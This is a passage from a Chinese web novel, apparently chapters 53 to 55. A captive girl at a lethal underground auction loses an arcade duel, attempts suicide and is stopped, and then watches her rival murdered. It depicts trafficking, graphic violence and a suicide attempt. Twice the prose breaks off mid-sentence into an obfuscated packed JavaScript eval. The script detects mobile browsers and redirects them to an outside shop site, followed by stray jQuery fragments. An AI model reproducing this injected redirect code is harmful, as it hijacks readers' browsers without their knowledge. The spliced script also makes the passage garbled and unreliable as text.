她感觉男仆有一瞬的停顿,接着,一只大手探过来,捉出她藏在袖子里握成拳头的左手。邓烟雨不肯放松,死死攥着,无声地表示抗拒。 被拒绝了,男仆安静的样子像是在研究下一步该怎么办。 盛夺和各位都在目不转睛等待着,男仆不以为意,大了好几圈的手掌裹着邓烟雨微微颤抖的棉花拳头,修长匀称的手指一根、两根地挑进去。 好痒,骨头快给他摁酥了。 邓烟雨整只手的温度迅速上升,抖得越发厉害,男仆见如此有效果,趁胜追击地寻找破绽,两人僵持没多久,他指尖已碰着梯控卡的边了,随便来一下就可以抽出,邓烟雨敌不过此人温和又强势的入侵,眼睛一闭,放弃了。 他默默掰开这只捏得汗津津的小手。 眼睁睁看着梯控卡被拿走,邓烟雨希望破灭,心灰意冷,而男仆手心的暖意仍然残存在肌肤上。她不禁仰头去看。 他没穿燕尾服,外套冷淡地解开,衬得身姿薄瘦,头发做过定型打理,很有光泽,显出几分干练的气质,和大多数男仆一样戴着纯黑的半脸面具,只是在他脸上无端增添了点欲味,底下遮掩的表情晦暗难辨。 他不去看邓烟雨,侧头时,单颗的黑曜石耳钉在过道灯折射下,流出一丝轻微光华。 男仆扬手朝后一丢,女郎赶忙跨出两步,接住梯控。 “他们的‘小纽扣’到不了上面,”盛夺手插兜,款步迈上前来,从西裤口袋里拿出自己的卡,塞给邓烟雨,“我这张,可以去任意楼层。” 邓烟雨握着金卡,神色茫然。 盛夺退开一步,吩咐在场的男仆全部跟上:“带她走,让她自己刷。” 拉开电梯栅栏门,愣着不动的邓烟雨被一群男人推进了电梯轿厢,他们也纷纷涌入,狭窄的四方空间里,雄性气息凶猛地弥漫开来。 好浓郁,好窒息。 “你想去哪里,自己刷卡。”戴耳钉的男仆沉着声,对邓烟雨说,其他人则颤出几丝笑意。 邓烟雨已吐不出半点东西,可胃里还那么恶心。她抬高纤瘦的胳膊,金卡在读卡区一滴,所有按键齐齐亮起。 她目前所在楼层是负二,最高是五,角斗场在最底部的负五层。 男人们调戏宠物似的,轻笑不语,由她自己选择。 按五,还是负五? 邓烟雨食指悬空,目光在两端的按键上梭巡。梯控感应后,按键闪烁几秒便熄灭了,邓烟雨再去滴了下,然后傻愣在那,按键不久之后又熄灭。 于是邓烟雨又滴了一次。 又滴了一次。 男人们:“……” 电梯岿然不动,大家静静地挤在一起,嘻嘻哈哈看笑话的也沉默了,就听着邓烟雨在那“滴”、“滴”、“滴”…… “小师傅,你是来检修的吗?”有人忍不住了,发出灵魂一问,邓烟雨额角挂汗,不知滴了第几次后,弯曲的食指不情不愿往下移。 忽然,她被身后的男人托住了胳膊,手指怎样都无法接近负五层的按键。 邓烟雨先是不解,随即睁大眼,面露诧异。 “慢死了妈的!”站在一旁的粉发男仆今晚栽在邓烟雨这吃了个大瘪,本就不爽,这会给她磨得火冒三丈,爆了句粗口,趁按键还在闪,火速出手,替邓烟雨按了负五,“磨磨唧唧,孵恐龙蛋都比你快!” 电梯动了动,缓慢下行了,托着她胳膊的手也松开了。 戴耳钉的男仆将手重新插回兜里,偏过头,无声无息看了粉发男一眼。 粉发男:“你瞅我干嘛?” 耳钉男:“我瞅你有病。” 粉发男:“啊?!你个狗东西再骂一句试试!” “哎哎哎,这么窄的地方能不能不要打架哇你们——” 邓烟雨失魂落魄握着卡,耷拉着肩膀,听着一帮男人在身后吵来劝去,神情麻木不仁。 她回到了地狱般的角斗场。 在厕所和走廊耽搁了太久,其他女孩已经锁回笼子吊上去了。看台上一阵欢呼雷动,有个非常漂亮的女孩以百万之价被一位老主顾拍下。 “抢疯了抢疯了,她比金丝雀还漂亮!” “三爷这次可算下血本了哈哈!” “这些个蠢货,见着美的眼睛都快掉人家身上,也不知道过过脑子,既然好看为什么不抓来做游戏?”贵妇人轻摇香扇,和小姐妹吐槽。 “就因为她漂亮,谁舍得她丢命,”小姐妹打量女孩,哼笑,“她一看就没脑子,要是玩输了怎么办,输了按规矩就得被‘孩子们’分掉,臭男人精虫上脑可馋她身子呢,哪有胆量赌。” “你说得也是。” 女孩大难不死,抚着胸脯,心情是说不出的庆幸。邓烟雨望着她主动跑向举酒庆祝的买主,被买主搂入怀中,脸蛋带着乖巧的笑容。 美食家在她脸上亲了一口。 口哨声瞬息间四起,起哄的欢叫爆满全场。大厅响得沸反盈天,邓烟雨孤零零地站在看台的南侧通道口,看着一张张穷奢极欲的面具笑脸。 娱乐至死的味道淹没了她。 她好害怕,怕自己最终也会为了活命,出卖尊严,出卖灵魂,出卖肉|体,耍心机,扮笑脸,踩着尸体往上爬,无所不用其极地讨好“主人”。 “快往下走,磨蹭什么。” 男仆推了邓烟雨,她差点摔跤,失血过多导致嘴唇惨白,四肢无力。男仆见她软绵绵的没动静,心烦地啧了声,手伸向她,捏住她肩。 耳钉男已经在后面戴好白手套,也换了衣服,三步并两跨上来,不轻不重拍开对方的手,抱以轻淡的笑:“你去忙吧,我来。” 面对他的解围,邓烟雨连一声谢也没说。 她衣发凌乱,垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579306|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼睫,无所谓他们对自己打骂。耳钉男支开了周围无所事事的男仆,拉过她,让她坐在通道口的台阶上,打开早已放在一侧的药箱,找到瓶瓶罐罐和纱布,给邓烟雨的手臂消毒止血。 “喂,替班!”有个染了一头黄毛的男仆轻快地跑上来,说,“后半夜你跟我去金笼那里,今天换班的两个双双请假,领班叫我们顶一顶。” “知道。” 黄毛看他举着碘伏棉球,小心翼翼涂在女孩的伤口边缘,一脸认真,像天桥下贴膜的。黄毛蹲下来,观察邓烟雨血淋淋的手臂,吸了口气:“哇塞,好严重的伤,兔子这是要搞死她么……” “那个粉头发,”耳钉男说,“他今晚值哪里?” “啊?你问他干嘛呀?” “我找个机会去道歉,”资历尚浅的职场小白服软地笑,“上班第一天就和前辈顶嘴,太失礼了。” “哈哈哈,我还以为你要和他撕呢,没事啦,咱们这没那么多条条框框,吵完就翻篇了,”黄毛想了想,拢着手,蹑悄悄地说,“他今晚陪食姐儿,你要找他请罪,等天亮吧。” “喔,”耳钉男也学着黄毛那副腔调,说,“那确实不能打扰了。” “嘿嘿是吧,你懂就好,”黄毛也忙了一天,逮着机会落个清闲,便话匣子打开唠不停,“他连续伺候两晚了,这兔子体力真叫一个牛逼,我平常伺候大胃的姐儿,半个晚上就吃不消了,他猛啊,中途不带休息的……哎,你别忘了明天去楼上培训。” 耳钉男眉毛一抽:“这种也要培训?” “当然要培,你要是活不好,弄得食姐儿不舒服了怎么办?” 他给邓烟雨缠着绷带,静了静,扭头问:“实战?” “谁给你实战!一开始当然先旁观啦!” 他笑出了声:“不行,我脸皮薄。” “不是吧小老弟,你脸皮薄还来这地儿上班?” “我有其他癖好,”包扎结束,他合上药箱,说,“我喜欢伺候拍品。” 看出来了,他真就把邓烟雨受伤的手臂伺候得舒舒坦坦,服服帖帖。 黄毛无语地摇头:“你简直了……” 邓烟雨始终没反抗,任由他们摆布,痛也不喊一声,身后偶尔传来女孩凄厉的尖叫,她不知道发生了什么,因为大家都在笑。 “他们把金笼的钥匙交接给我了,”黄毛站起身,拉了个懒腰,“我等等不下场地了,先去笼子那,你伺候完拍品也快来啊,金丝雀不能怠慢!” “她状况好像不太对,”耳钉男扶起邓烟雨,说,“我要是没过来,你找个人顶我。” “什么?”黄毛傻了,“拜托哥们不要开玩笑啦,你自己就是个替班,还要我找个替班来替你这个替班……” “别在这叽叽歪歪!”左侧看台上的食爷儿发着酒疯骂道,砸下个杯子,他们仨仓促避开,耳钉男冲黄毛打了个抱歉的手势,领着邓烟雨下去了。 “哦,回来了?” 拍卖师在喊人清场地,刚结束了一场抓娃娃机的游戏,怪物们吃得填充棉沾血乱飞。他细眸含笑,往邓烟雨脸上看:“是58号拍品?” “嗯。” “她不用关笼子了。”拍卖师说。 邓烟雨目光空洞地站着,似乎做好了被血洗的准备。拍卖师朝天拍了拍手示意安静,站到台上说:“各位,大食主盛先生为大家筹备了一份厚礼!” 全场惊嘘。 “不会吧,难道是要……” “惊讶什么,那么久了,确实该换了……” 拍卖师笑意加深:“我们的晚宴即将迎来第一道大餐,58号拍品获得大食主授权,将一对一竞争‘金丝雀’的位置,请现任‘金丝雀’温茉下笼。” 温茉正和一个食爷儿说笑,听到话筒扩散过来的话,懵懂地支起身子,望向场地中央的邓烟雨,嘴唇微张,半天都没蹦出一个字。 54. KO 黄毛和台下的同事遥遥对望一眼,转身给金笼解锁。 锁舌弹响,笼门应声打开,温茉在无数双绿眼的注视下并未动作,而是拣着无关痛痒的话题询问:“随行怎么就你一个,另一个呢?” 黄毛似笑非笑:“58号拍品受伤了,需要照顾,另外一个去帮忙了。” 温茉蹙眉:“他是我的随行。” “正确来讲,”黄毛进入了工作状态,整个人显得无比恭顺,“他是金丝雀的随行。” 温茉听了这话,捏紧拳头,脸色相当难看。 她眯眼,再次望向台下那抹站都站不稳的瘦小人影,气忿地咬牙。 凭什么,一个滥竽充数的水货,卖不出去的瑕疵品,甚至没副好脸色,凭什么就被大食主看中了? “温姐姐,就当松泛筋骨,大家等着呢,请快出来吧。”黄毛不止嘴巴上递台阶,手也没闲着,搬了个流苏凳,给她垫脚。 温茉心火难消,她不相信这是盛夺本人的意思。 在男女情事上一贯随性的盛夺,近来意外地宠爱温茉,还跟另一位大食主江邂月划清了楚河汉界。 江邂月是位阴晴不定的爷,兴致上来了会宰头小羊羔当下酒菜,玩死一只金丝雀家常便饭,盛夺怕他出手没轻重,警告过他不准碰温茉。因着这事,两位最近也不聚一块抽烟了。 可这次,是盛夺亲口吩咐的。 盛夺这是不要她了。 “温姐姐?” “知道了别喊了!”温茉丢掉了食爷儿给的蜜橘。 跨出金笼的那刻,大厅的水晶灯仿佛更闪耀了。温茉由一拨人陪同,快步走下看台,来到厮杀的场地上,冷冷剜了眼还处在迷茫中的邓烟雨。 “规则不变,抽选游戏进行PK,因为是一对一,如若抽到必须两人以上参与的游戏,将直接视为作废,重新再抽一轮。需要介绍有关‘金丝雀’一席的特权吗?” 拍卖师最后一句是在问邓烟雨,温茉只求快点结束,烦躁地抢过话:“没那个必要,赢了有的是时间了解。” 邓烟雨正好没心思听,望着黑洞洞的拱门,缓了一会,点点头。 “真的要比吗,”温茉摊开手,“她看起来毫无斗志。喂邓烟雨,你不是想逃吗,这就放弃了?” 邓烟雨错开视线,生死看淡。拍卖师凑近温茉,低声问:“您和盛先生是闹不愉快了么,他无缘无故让人递消息给我,我吓了一跳。” “我哪知道他搞什么名堂……”温茉也揣摩不透盛夺这番举动,不悦地抱臂,箱子已经捧来,温茉朝邓烟雨挥手,催促道,“抓一个,快点。” 邓烟雨往箱子里一抓,抓中的纸条末端还粘了一张出来,拍卖师就把粘着的扯掉了。邓烟雨打开手里的白纸,上面写着“街机游戏”。 “街机啊。”温茉长舒一口气,是她擅长的,初中交的无赖男友经常带她翻墙去游戏厅玩,她喜欢打拳皇。 温茉好奇道:“蝴蝶,你手里的是什么?” 拍卖师随手一丢,说:“五子棋。” “五子棋没意思,还耗时间,就玩街机,”温茉心情好多了,两手交叉,压了压指关节,问邓烟雨,“你玩过吗?” 邓烟雨捏着纸,慢吞吞地抬眼。她很少去游戏厅,唯一的实战记录是在博物馆和公冶打儿童益智游戏。 那次是大神坐镇指挥,闭着眼也能打赢,这回无论经验还是技巧,她皆不占优势。 她摇头:“我没玩过。” 空气凝着微妙,拍卖师夹在两个女生中间,左看看右看看,堆起敬职敬业的笑容:“那就让一让……” “不用,”邓烟雨说,“公平竞争。” “这可是你说的,”温茉打量她萎靡不振的样子,轻蔑一笑,“三局两胜,到时候别哭着求我手下留情。” 中央圆台猝然一响,炸出白茫茫的干冰气体,地面朝两边裂开,大型升降台向上升起完美衔接。 白雾散尽,呈现在眼前的是一地深海,暗蓝色玻璃地砖下鱼群泅渡,上面布置着一应俱全的大型游戏设备,用丝绒红布沉沉罩住,场地中间的珊瑚支架上撑着一缸鱼,最肥的罗汉鱼躲在火山岩后头。 两台游戏机背靠背,男仆们手脚麻利地揭开布,通上电开机,挑了款简单易上手的游戏。邓烟雨拾级走进蓝色圆台,扫视着设备,它们任由红布勾勒出千姿百态,犹如被魔咒定住的舞者。她穿过红布区,被后方大步迈来的温茉一撞,绊到地上长长拖出的电线,摔倒了。 坐在看台前方的两位食爷儿正聊得起劲,只听下面“嘭咚!”,他们的笑声戛然而止,双双露出诧异的表情,食姐们轻吸气,扇子掩面窃窃私语。 “输定了啦,她状态太差了,别买她。” “我还以为能有多好玩,这孩子瞧着没干劲呀。” 现场气氛始终没有高涨起来,拍卖师也没料到她注意力这么不集中,对着两台游戏机一头磕了下去。 “哎哟,没事吧?”他快步上前去扶邓烟雨,她的体温异常高。 邓烟雨双手撑地,怔愣着。她这一摔,反而把自己摔清醒了,发丝下的眼神坚韧冷静。她淡淡说着没事,推开拍卖师,在游戏机前坐下,熟悉着控制面板的摇杆和按键,继而抬头浏览界面角色。 屏幕上浮动着五颜六色的头像,有暴走萝莉也有蒙面忍者,邓烟雨的注意力落在一个很可爱的头像上,是个啃竹子的圆滚大熊猫。 她选了熊猫。 总觉得这副软萌的外表下会隐藏着可怕的实力。 拍卖师目光幽幽地观察良久,侧身对一旁的耳钉男说:“她发烧了,你盯着点。” 第一局开始,温茉的舞扇美少女杀气腾腾从高空跳下,已开启战斗模式,而对面,邓烟雨还在那里认真学习着前进后退。 甩着绿竹子撒娇的熊猫幼崽呜呜哇哇挤出几滴小珍珠,在分辨率略低的地图里滑稽地往前挪一步,往后撤一步,仿佛刚学会走路。 温茉都没眼看了,勾唇冷笑,两只手灵活操纵配合,美少女铁扇一挥,朝还没断奶的熊猫崽子掷出千万光刃。 邓烟雨心叫不好,情急之余在每个按键上一通乱拍,哭泣的熊猫幼崽突然扔掉竹子,嗷嗷一吼,旋身变成八块腹肌的金刚火眼暴力大熊猫,呼着怒气,举起砂锅大的拳击手套,冲地面狠狠砸去! 屏幕里登时地动山摇,拳头砸出一条堪比东非大裂谷的裂缝,美少女猝不及防被剧烈震感弹开,哀叫着痛摔在地,血槽当场掉了一半。 邓烟雨:“好脆!” 温茉:“…………” 不是说不会玩吗?! 现场鸦默雀静。大伙显然是看呆了,等回过神,呼啦一片纷纷喊着:“你看见了吗,她怎么出招的?” “这孩子运气也太好了。” 邓烟雨也懵了,趁美少女尚未爬起,赶着熊猫上去继续打打打。 温茉急了,慌了,根本来不及防御,刚要攻击就被邓烟雨挥了一拳,想跳出去又被邓烟雨拽了下来,她被揍得贴在边缘,一截一截掉着血。 温茉抓狂地大叫:“邓烟雨!!” 邓烟雨抓狂地问:“干嘛!!” “你——”温茉差点掀翻游戏机,要跑去对面揍真人了,“你就只会一刀一刀砍我吗,不知道用必杀技吗?!” 邓烟雨上当了,傻傻地低头去看哪个键是必杀,温茉钻到空子,组合连招超必杀通通打包送上,邓烟雨躲闪不及,大熊猫被活活揍回幼崽阶段,豆豆眼打了个叉,吐着舌头趴下了。 “KO!”的红色加粗大字闪跳在屏幕上,温茉呼出一口浊气。 三日不弹手生荆棘,打游戏也是一个道理,温茉自从来了这,不分白天黑夜耽溺在男人堆里,什么都荒废了,第一局没能发挥出最佳水准,好在对面是个小菜鸡,稍微干扰一下就乱了阵脚。 保持状态,再赢一把就结束了,然后回房间睡觉,老娘不奉陪了——都见鬼去吧!温茉心下大骂,恨恨地呼吸着。 邓烟雨不像温茉那样紧张,她看着英文提示的失败,不安地皱眉。 “她角色不能肉搏,你近身打。” 身后传来极轻的指导,邓烟雨愣了愣,回头,是那个戴耳钉的男仆。他需要上场,所以换了得体的燕尾服,连带着气质也斯文许多。 邓烟雨回想刚刚的话,他没有刻意压制改变声线,低缓富有磁性的嗓音让邓烟雨有那么一刻的失神—— 太熟悉了,这个声线,如果再明亮一点,柔和一点…… “开始了。” 耳钉男提醒道,邓烟雨立即回头,握紧了摇杆,防住美少女从天而降的密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579307|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集攻击,紧接着瞬息一步冲上前。 美少女顷刻跳开,大熊猫再是超速逼近,抓住美少女抛来的舞扇红绸,连人带扇抡飞了出去。 温茉人傻了:“你在干……” 美少女每落地一下就惨叫一声,温茉叫着住手,按键快拍得失灵,摇杆也有折断的趋势,可她被愤怒的大熊猫彻底逼到了角落,如何也挣脱不了,她额头凸出青筋:“……” 邓烟雨一鼓作气杀疯了,按出各种技能,最后以一根巨竹插地,把奄奄一息的美少女钉在竹尖上,宣告胜利。 赢了。 她四肢冰凉,松开摇杆,平复着激烈的心情。 现场喝彩不断,抛了玫瑰花和精巧的玩偶:“打平了,加油!” 是啊,打平了,扳回一局了,她不会就此输掉。邓烟雨心想着,一遍遍鼓励自己不要放弃,方要回头和耳钉男说话,身旁出现一抹身影—— 温茉扬起手,啪一记惊响,鲜红的指印烙在了邓烟雨脸上。 “……” 群起的欢声笑语也在这撕裂一切的耳掴声里瞬间熄灭。 这是邓烟雨今晚第二次挨打,这一次,她久久没能做出反应。 温茉完全失态了,大口大口喘着气,头发凌乱地掉落,掌心即使打得火辣辣的疼,依然用这只手捏紧了邓烟雨负伤的胳膊。 绷带下立刻渗出血,邓烟雨痛得失声,眼眶里有泪气不自觉冒出来,她奋力推着温茉:“放手!!” “认输!”温茉将人提起来,往游戏机发热的屏幕上用力摁去,死死按着她的脑袋,“下一局认输,你认输我就放手!” “我不认输!你无耻!!” “那你就痛死吧!” 伤口裂开,邓烟雨指甲刮着屏幕,叫得撕心裂肺。 “放开我!” 邓烟雨爆发出惊人的力量,反压了温茉,温茉惊叫,两个女生摔在地上打了起来,邓烟雨怒视她:“你是金丝雀就可以为所欲为吗!我说了公平竞争!你也答应了!凭什么打我?!” “你算什么东西!滚开!!”温茉咬牙切齿,抓着她伤口的手加大力道,血染透绷带,温茉的指甲也被染红了。 她忽然松手,抓起一旁掉落的高跟鞋,朝邓烟雨脑袋砸去。 两个女孩分开了,邓烟雨后背撞在游戏机上,捂着脑袋,没过多久,血从指缝间流出。 好……晕…… 邓烟雨强撑着意识,想站起来,还是跪倒了,碎发遮住了视野,她依稀看到有一群人在围过来。 拍卖师拦在耳钉男面前:“还不后退?把我的警告当耳旁风吗?” “退下。” “我让你退下!” 其他男仆发现情况不对,疾步围过来,拦住耳钉男。 拍卖师扯出笑容:“规则里并未提到不可发生肢体冲突,你此刻冲上去,是要给谁讨公道?” “你是谁的随行?” 男人纯黑面具下的绿眼泛着冷光,没动,也没退。 拍卖师缓缓放下手,面带微笑对两个女生说:“最后一局了,希望你们都能拿出最棒的实力。” 温茉放开了邓烟雨,甩了甩指尖的血,男仆为她递上丝巾,她擦拭干净,嫌恶地丢在了地上。 发烧加上伤口再次破裂感染,邓烟雨身体忽冷忽烫,视野晃得一团模糊。第三局在她意识溃散的时候开始了,屏幕里的熊猫幼崽纹丝不动,它吃着狂风暴雨的攻击,没过多久,便被扼杀在摇篮里。 邓烟雨坐回了椅子上,垂下流血的手。 “对不起。” “我撑不下去了。” 她轻飘飘地说出了两句话,也不知在对谁说,或许是自言自语。 大厅响彻欢呼,无论谁赢,大家都很高兴。 “游戏结束,温茉取得了胜利。” 拍卖师微笑说道。 温茉玩得口干舌燥,想找点东西泄愤,男仆倒水过来,她气得脸孔扭曲,反手将玻璃杯砸碎,指着邓烟雨,说:“让怪物吃了,现在马上!” 邓烟雨盯着满地的碎片,轻轻笑了声。 温茉顿了几秒,瞪着她:“你笑什么?” 拍卖师也望过来,刚要张唇说话,只见邓烟雨掠过一行人,捡起地上最尖的一块玻璃碎片,朝自己脖子划去。 55. 反击 然而,利刃割破喉管的凉意并未传来—— 刺向大动脉的碎片哧一声,溅开了什么,一只有力的手臂箍紧了她。 僵硬的身体无法动弹,握着碎片的手特别冷,掌心却在淌出热意。她被一股力量牢牢捆住了,猛挣了好几下也挣脱不开。 “放开!” “放开我!!” 整个大厅响彻她的嘶吼,宛如野兽濒死的求救,滚滚燃烧的愤恨与绝望从瘦弱的躯体里破发出来,震颤出来。 邓烟雨睁大眼,和一幕幕恐怖的画面对望,看台上盛放着万紫千红、各怀鬼胎的笑脸,花天酒地环绕着她,她越是破碎不堪,他们越是兴奋,她听着他们的笑声,受不了了,眼眶溢出空洞的泪,满脑子是死,好想好想一死了之。 她亲眼见过那些怪物是如何吃人的,那种活活撕裂的痛简直难以想象,她不想被开膛破肚,不想被那样折磨,而她无论怎样暴躁疯狂地挣扎,那个人始终不放开,不动摇,收紧力道,钳制着她,不容她反抗,同时左手往上移,覆住她的眼睛。 “不看了,冷静。” “冷静。” 他们贴在一起,彼此制衡着彼此。邓烟雨发泄一场后有点呼吸过度,他捂住她的口鼻,让她憋了会儿。 怦怦,怦怦……急如擂鼓的心跳逐渐找回了正常的节奏。 “好些了吗?可以了就点头。” 邓烟雨胸膛急促起伏,微微点头。 确定她不会再冲动乱来,他松缓了力道。 邓烟雨满脸湿漉漉的,早已哭得精疲力尽,倒在对方怀里咳喘。衣襟的香气若有若无,她眨了眨湿润的眼睑,往下看。 一只戴了白手套,成年男性的大手护着她的脖颈,她手中那片不规则的尖锐碎块狰狞地刺进他的手背,鲜血如炸开的烟花,迸溅了一片。 没有什么比亲眼目睹她自杀还要令他失去理智的了,他的双腿比大脑先一步做出反应,推开所有人不管不顾扑了上去。邓烟雨盯着他满手的血,在他失控的气焰里轻轻吞咽一口,余光瞥见了那枚黑曜石耳钉。 耳钉男仿佛丧失了痛觉,任凭她刺得再深,依然抱她抱得特别紧,手臂控制不住地发抖。他感受到她在害怕地吞咽,小小的喉结像颗水珠子,沿着掌心咕嘟一滚,清晰深沉的搏动感随着人体的温度递入指尖。 “冷静点了吗?” 他问,邓烟雨没有回答,哆哆嗦嗦吸着鼻子,目光涣散。 “冷静点。” 他重复说着“冷静”,注意着她握碎片的手,一刻也不敢松懈,邓烟雨鼻音浓浓地嗯了声,面带疑虑地抬起头。 之前在走廊上、电梯里、看台通道口的台阶前,她都没好好正眼瞧过一次他的脸。 可耳钉男未曾低头,反而目视前方,下颚肌肉紧绷着,邓烟雨顺着他的视线转过去,撞见正前方拍卖师的脸,他神色阴寒,不知何时已快速闪身到这,抓住了邓烟雨的手腕。 拍卖师面具下的眼眸细长且多情,埋着犀利的味,和耳钉男更冷酷的眼神无声争持着,三个人僵持在原地,导致大厅也陷入极久的沉默。 不能在这里撕破。 拍卖师心下权衡一番,认为必须先把一塌糊涂的场子收拾好,便将心底的疙瘩暂压不论,主动露出示好的笑容:“这是闹哪出,我还一个字没说呢。” “把手拿开。” 邓烟雨睫毛颤落,发丝黏着煞白的面容,闭唇不言。 “把手拿开。”拍卖师一字一顿,咬重了音节。 邓烟雨松开手,这才发现,碎片已经刺穿耳钉男的整只手,冰凉沾血的尖端刚刚其实抵着她的颈动脉,只差毫厘便要进去。 由于前面握得太狠,邓烟雨的手心也划了几道豁口,血如分支的溪流,和他的混在了一块。 耳钉男退开半步,默不作声拔掉手里的碎片。 “她要自杀就由着她去啊,”温茉见大家都靠拢了过去,绾好头发,愤懑地嚷嚷着,“反正游戏也输了,她横竖都是个死。” “是么,你别急,”拍卖师弯唇一笑,将邓烟雨这个人从头到脚仔细检查了一遍,啧啧两声,“折腾成这样,怪可怜的。黄毛,去拿药,等会回笼子里给她伤口重新处理一下。” 黄毛闻言一惊,噢了声,转头把金笼的钥匙丢给同伴。 温茉张口结舌,看看离开的黄毛,再看看拍卖师,说:“她游戏输了,还回什么笼子?” “你说呢,”拍卖师踩着皮鞋踱过来,优雅笑道,“你一个报废品,敢弄伤金丝雀,胆子可真不小啊。” 温茉似乎没听懂这句话。 邓烟雨同样没听懂。 “……蝴蝶,你,你发什么神经?” 拍卖师招呼大家该修理的修理、该清扫的清扫。 “喂,”温茉茫然地喊着,“说句话啊。” “说话啊!蝴蝶,我在问你话呢!你没听见吗?!” “你们想干嘛!我赢了!明明是我……”温茉环顾四下,冷冰冰的绿眼睛让她脊背发凉,她意识到不对,吼道,“我拿下了胜利!我才是金丝雀!” “游戏开始前,我可有说过,赢得最终胜利的人会成为金丝雀么?”拍卖师眸色骤沉,“盛先生要‘换人’,无论输赢,你都得退位,即刻起,58号拍品将升为新一任金丝雀,而你,前41号拍品——” 拍卖师叫出了温茉曾经的拍卖号:“你在游戏期间不断言语攻击、出手殴打邓烟雨,请你接受相应的惩罚,当然,作为前任金丝雀,我会尽量让你的葬礼举行得风光些。” 高空哐哐坠下十顶铁制鸟笼,里面的女孩吓得大哭。 “给你十件陪葬品,够意思了吧?” 听着他陌生的语气,温茉整个人大幅度晃了一晃,跌坐在地。 “不,不会的……” “你们骗我……” “不会的……!” “盛先生不会抛弃我的!”温茉碎碎念着,不愿相信地摇头,她爬起来,杀红了眼要劈手打人,被几人摁住。 “撒手,撒开我啊!既然这样为什么还要玩游戏,你们耍赖!混账!!我要见盛夺,我要听盛夺亲口说——” “带邓烟雨上去,先关一阵,”拍卖师柔声嘱咐,探手拨开邓烟雨脸颊的发丝,瞟了眼近侧,笑得露骨,“新来的,你叫什么名字?” “……” “不说啊?不说也没关系,你不用跟了,留下。” 耳钉男冷眼觑着他们缩小包围圈,垂在袖下的拳头滴血不止。贵宾席上,一名西装男搁下酒,朝后招手,贴身女郎应了吩咐,快步退去。 邓烟雨被带走了,她望向高处的鎏金鸟笼,笼子不大,食爷们一伸手就能摸着人。 “温茉会怎样?” “这您不必关心。” 她回头去找耳钉男:“我要换人……” “不行哦,”抓着她的人笑吟吟说,“他犯了错,得受罚了,您今晚估计见不到……” “我杀了你——”温茉披头散发,疯疯癫癫冲上来,推开男仆,手劲狠辣地掐住邓烟雨,“去死吧,去死——” 两个女生顿时拉扯得不可开交,双双纠缠着栽倒下去,众人见状,大声喝止着温茉,拼力分开二人。 “你这贱蹄子,贱人——” 一伙人架着温茉往后退,温茉嘴里还在大声咒骂着,邓烟雨被她掐得脖子红了一圈,撑着地,痛苦地干咳。 噗呲—— 胸口一热,温茉的瞳孔霍然瞪大。 邓烟雨听见吧嗒吧嗒滴落的声音,脚下的鱼群嗅着味来了,鱼鳞闪亮翻动成梵高的星空。 她愣愣地抬眼。 血是从温茉的胸口淌下来的,男人粗暴的手从她后背进,前胸出,捅穿了这具柔软的女性躯体,在她鼓动的心脏上开了个大洞。 拍卖师仰起头,露喉,畅快地呼出一口气,柔韧如鞭的手指在她体内玩味地活动片刻,抽了出来。 温热的液体溅了邓烟雨一脸。 “……” 温茉嘴角渗出血,接着喷了一口,跪倒在邓烟雨面前。 “蝴蝶,你玩疯啦!” 当着各位贵人的面,拍卖师笑得腼腆,也没去尝尝手上的好东西,接过纸巾有条不紊地擦拭,一边擦一边好笑地去瞅耳钉男的表情:“干嘛,很惊讶?你第一天来,不知道这儿杀人合法吗?” 邓烟雨腿软得没有一丝力气,精神恍惚地瘫坐着,过了很久,她伸手,去碰温茉:“温茉?” “温茉。” 女孩双膝跪地,歪垂着脑袋和双臂,一动不动,身下开出巨大的血花。 “……”邓烟雨惊惧得说不出任何话,自己脸上的血也顾不得擦,突然她的衣袖被温茉扯住。 只是轻轻一搭的扯住。 “小佛山路……70弄3……号……”温茉声含血沫,吐字浑浊,“找我外婆……告诉她……招娣在外面……过得好……别担心……” 她不肯合眼,牵动嘴皮,拼尽全力吐出最后一句: “对不起……” 就此,再没了声。 邓烟雨头昏脑涨,忘了接下来发生的事情,只记得温茉不见了,留下一地血淋淋的拖曳痕迹,还记得金笼的角度极好,可以放肆俯瞰整座角斗场,一个又一个雪白的女孩,一簇又一簇赤红的花火,和永无止境的怪物,在她视野里化作那群银光熠熠的游鱼,眼花缭乱地做着游戏,哗啦啦地搅响。 高烧折磨得她体力不支,她倒下了,一脑袋磕在金笼的栏杆上,栏杆后方的鲜艳油彩冲击着眼球,这幅画原来是塞满了人类头颅和残肢的绿色眼睛。 水晶灯光芒大作,刺得她眼一黑,昏了过去。 “喂,醒醒。” 有人在摇她,邓烟雨醒了,干涩起皮的嘴唇张了张,那人掰开她的嘴,给她灌了水,往里喂了一瓤果肉:“嚼。” 清爽的蜜橘味充分弥漫,她嚼了橘子果肉,拼命咽下去,就着冷水吞进一粒胶囊。 又昏睡好一阵,邓烟雨睁眼,见笼门是打开的,看台人群已散大半,晚宴似乎结束了,一个黄头发的男仆和同事交谈完,弯腰进来,抱她出了笼子。 邓烟雨一动,摔出他的怀抱,趴在地上难受地呕吐着。 “病得不轻,这如何是好?” “退烧药喂了,一会儿就没事了吧。” 黄毛难搞地挠挠头,站在原地,不知道该怎么办,只听底下飘来虚弱残破的呢喃:“公冶警官……” 黄毛俯身:“啊,什么?” 邓烟雨:“公……冶……” 